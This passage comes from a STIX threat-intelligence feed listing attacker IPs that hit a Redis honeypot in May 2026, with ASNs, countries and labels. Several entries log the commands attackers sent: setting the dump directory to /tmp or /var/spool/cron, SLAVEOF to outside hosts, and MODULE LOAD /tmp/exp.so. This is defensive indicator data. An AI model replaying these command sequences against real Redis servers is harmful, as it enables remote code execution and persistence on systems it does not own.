      "id": "indicator--2a4d3ba7-24a3-4ee6-91cf-f84250854467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:25:10.000Z",
      "valid_until": "2026-06-24T16:25:09.000Z"
    },
    {
      "created": "2026-05-23T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--2ec209d3-125a-4cd1-ade4-04bfc8527304",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '162.243.59.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:25:10.000Z",
      "valid_until": "2026-06-24T17:25:09.000Z"
    },
    {
      "created": "2026-05-23T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=63835; asn_org=No.293,Wanbao Avenue; redis_cmd_hits=0",
      "id": "indicator--9c90f64b-404c-4473-b7c7-271e26ff3093",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.6.54.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:25:11.000Z",
      "valid_until": "2026-06-24T18:25:09.000Z"
    },
    {
      "created": "2026-05-23T18:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ee839113-c039-4274-93b1-a772f19510c1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T18:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:25:11.000Z",
      "valid_until": "2026-06-24T18:25:09.000Z"
    },
    {
      "created": "2026-05-23T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--bcda6eda-cba1-4347-ac1b-cf184eadfed7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:25:10.000Z",
      "valid_until": "2026-06-24T19:25:09.000Z"
    },
    {
      "created": "2026-05-23T20:25:35.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--11c49171-bc8e-4233-932c-3adee3dc4a54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:25:35.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.233.96.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:25:35.000Z",
      "valid_until": "2026-06-24T20:25:10.000Z"
    },
    {
      "created": "2026-05-23T20:25:35.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmds=config set dbfilename root,CONFIG SET dir /tmp/,MODULE UNLOAD system,config set dbfilename dump.rdb,save; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--55e0997a-efaf-4260-b7bd-d8f1e8702a47",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-23T20:25:35.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.93.12.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:25:35.000Z",
      "valid_until": "2026-06-24T20:25:10.000Z"
    },
    {
      "created": "2026-05-23T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; redis_cmd_hits=0",
      "id": "indicator--07a99165-f7b8-4c36-ba07-62a6b74aa706",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.199.108.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T21:25:10.000Z",
      "valid_until": "2026-06-24T21:25:09.000Z"
    },
    {
      "created": "2026-05-24T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--c467ebbc-6e57-48cc-83f0-bb172787f2e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:25:10.000Z",
      "valid_until": "2026-06-25T02:25:08.000Z"
    },
    {
      "created": "2026-05-24T04:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=MD; asn=200019; asn_org=Alexhost Srl; redis_cmd_hits=0",
      "id": "indicator--04153040-86e1-42d6-943d-3d3a4f37f82d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-24T04:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.123.2.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:25:06.000Z",
      "valid_until": "2026-06-25T04:25:04.000Z"
    },
    {
      "created": "2026-05-24T05:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:25:11.000Z",
      "valid_until": "2026-06-25T05:25:09.000Z"
    },
    {
      "created": "2026-05-24T05:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--f2c92e86-6835-4e9b-a46d-5b9cfd5c577c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-24T05:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:25:11.000Z",
      "valid_until": "2026-06-25T05:25:09.000Z"
    },
    {
      "created": "2026-05-24T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmds=CONFIG SET dir /tmp/,CONFIG SET dbfilename exp.so,MODULE UNLOAD system,save,config set dbfilename root; redis_cmd_hits=0; cmd=\"config set dbfilename dump.rdb\"",
      "id": "indicator--c65dc3dd-0de5-42b2-99cd-e7c0b645bbbe",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-24T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.43.83.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:25:10.000Z",
      "valid_until": "2026-06-25T09:25:09.000Z"
    },
    {
      "created": "2026-05-24T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--5ce41bc7-9b55-4434-8cc7-4f275dfa55d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.223.159.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:25:10.000Z",
      "valid_until": "2026-06-25T12:25:08.000Z"
    },
    {
      "created": "2026-05-24T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=NL; asn=216039; asn_org=EdgeSec Technologies Limited; redis_cmds=SLAVEOF NO ONE,MODULE UNLOAD system; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--c7f03cd5-ea7f-4ef5-afb5-3aca1c6e3f51",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-24T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.27.7.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:25:10.000Z",
      "valid_until": "2026-06-25T12:25:08.000Z"
    },
    {
      "created": "2026-05-24T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=134810; asn_org=China Mobile Group JiLin communications corporation; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--cf0c0e8f-b3d2-4c37-bb81-f1ec3ee3963a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.135.17.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:25:10.000Z",
      "valid_until": "2026-06-25T12:25:08.000Z"
    },
    {
      "created": "2026-05-24T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--d6597bb7-cd7b-4152-b93e-8e9248f32004",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.205.131.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:25:10.000Z",
      "valid_until": "2026-06-25T12:25:08.000Z"
    },
    {
      "created": "2026-05-24T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=MD; asn=48480; asn_org=S.C. AltNet C.C. S.R.L.; redis_cmd_hits=0",
      "id": "indicator--2a1f73df-d37c-4000-a16b-e1c7067cdee6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.211.49.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:25:10.000Z",
      "valid_until": "2026-06-25T12:25:08.000Z"
    },
    {
      "created": "2026-05-24T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=SG; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--f82a4222-3be3-4a26-8d7d-cddeffa3fa60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.41.159.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:25:10.000Z",
      "valid_until": "2026-06-25T15:25:09.000Z"
    },
    {
      "created": "2026-05-24T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=PL; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2ef3526b-7faa-47d5-9b06-879edc03eded",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-24T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.215.88.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:25:10.000Z",
      "valid_until": "2026-06-25T15:25:09.000Z"
    },
    {
      "created": "2026-05-24T19:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--21ea352a-8d2a-46a8-9e47-c965befafb15",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-24T19:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.205.183.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:25:04.000Z",
      "valid_until": "2026-06-25T19:25:03.000Z"
    },
    {
      "created": "2026-05-24T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=35; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmds=config set rdbcompression yes,CONFIG SET dir /tmp/,SLAVEOF NO ONE,SLAVEOF 60.16.8.42 9563,config set dbfilename dump.rdb; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--5377a621-13fb-4783-ac0f-471bf7758394",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-24T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.234.6.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:25:10.000Z",
      "valid_until": "2026-06-25T21:25:09.000Z"
    },
    {
      "created": "2026-05-24T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--bc525d2c-d90b-4f54-8699-ad225d46003e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.186.169.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:25:10.000Z",
      "valid_until": "2026-06-25T21:25:09.000Z"
    },
    {
      "created": "2026-05-24T22:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NL; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-24T22:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.224.128.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T22:25:05.000Z",
      "valid_until": "2026-06-25T22:25:04.000Z"
    },
    {
      "created": "2026-05-25T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--f76aa438-3b06-47dd-a082-d2675d7e4577",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.21.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:25:11.000Z",
      "valid_until": "2026-06-26T00:25:09.000Z"
    },
    {
      "created": "2026-05-25T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--5176f7f2-2e68-4c83-9829-7f129dd0f661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '188.166.212.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:25:11.000Z",
      "valid_until": "2026-06-26T00:25:09.000Z"
    },
    {
      "created": "2026-05-25T02:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T02:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:25:09.000Z",
      "valid_until": "2026-06-26T02:25:08.000Z"
    },
    {
      "created": "2026-05-25T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e28225b2-baa4-481f-a59e-3c594ab7f92b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T03:25:10.000Z",
      "valid_until": "2026-06-26T03:25:09.000Z"
    },
    {
      "created": "2026-05-25T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmds=config set dbfilename dump.rdb,config set rdbcompression yes,MODULE LOAD /tmp/exp.so,config set rdbcompression no,config set dbfilename root; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--ef3fac86-f464-4a1b-9ecb-66f3ac3df3b8",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-25T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.145.101.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:25:05.000Z",
      "valid_until": "2026-06-26T04:25:04.000Z"
    },
    {
      "created": "2026-05-25T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--abb4dc2f-b6ca-4f48-b5e0-14258bba1bc1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.27.135.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:25:05.000Z",
      "valid_until": "2026-06-26T04:25:04.000Z"
    },
    {
      "created": "2026-05-25T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=76; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--d01eef29-a8b2-4a62-9e2a-87b46b9d453f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.138.158.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:25:05.000Z",
      "valid_until": "2026-06-26T04:25:04.000Z"
    },
    {
      "created": "2026-05-25T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--9e83ef5b-958a-4cf8-a0fd-a989b36777f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:25:10.000Z",
      "valid_until": "2026-06-26T06:25:09.000Z"
    },
    {
      "created": "2026-05-25T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--2531d97c-085d-46d4-83e5-0023275484dd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:25:10.000Z",
      "valid_until": "2026-06-26T06:25:09.000Z"
    },
    {
      "created": "2026-05-25T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--4e3ab079-946e-4db5-a9a0-61704b51706b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:25:10.000Z",
      "valid_until": "2026-06-26T06:25:09.000Z"
    },
    {
      "created": "2026-05-25T07:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--bab0ce73-173e-4db8-a0b5-27213c1662db",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:25:11.000Z",
      "valid_until": "2026-06-26T07:25:09.000Z"
    },
    {
      "created": "2026-05-25T08:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--ef8b514d-d2d4-4db7-a881-f6ab6f280ba1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T08:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.183.16.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T08:25:18.000Z",
      "valid_until": "2026-06-26T08:25:09.000Z"
    },
    {
      "created": "2026-05-25T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--cad4e448-24c9-409e-95b9-763f8acdb462",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-25T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.64.162.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T09:25:10.000Z",
      "valid_until": "2026-06-26T09:25:08.000Z"
    },
    {
      "created": "2026-05-25T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--5d0ff20d-e80f-46df-ad97-54718799d9dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.64.179.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:25:10.000Z",
      "valid_until": "2026-06-26T10:25:09.000Z"
    },
    {
      "created": "2026-05-25T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=39; ports=6379; cc=DE; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmds=config set rdbcompression no,config set dbfilename root,SLAVEOF 220.180.99.71 60105,config set dir .,config set dir /var/spool/cron/; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--0ff97f38-1a05-42d2-8bb5-247e93d25640",
